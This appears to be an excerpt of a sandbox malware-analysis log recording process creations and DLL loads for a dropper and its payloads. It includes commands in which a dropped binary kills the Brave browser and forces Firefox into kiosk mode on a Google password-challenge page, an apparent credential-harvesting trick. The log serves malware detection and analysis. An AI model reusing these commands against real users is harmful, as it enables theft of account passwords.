Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2336 -parentBuildID 20230927232528 -prefsHandle 2272 -prefMapHandle 2264 -prefsLen 25307 -prefMapSize 239752 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e7c1ee17-f254-4518-bacd-57c97958ed1d} 4992 "\\.\pipe\gecko-crash-server-pipe.4992" 1c6f5e6ff10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OLR88CERN7VQFRQ38J.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ENORVNMU067PBMHUGECCERYC06W3ZY.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BF3BS0M5707K28RGW9.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000992001\aae25c676b.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000993001\7d61336cf8.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000994001\d7c50276ff.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
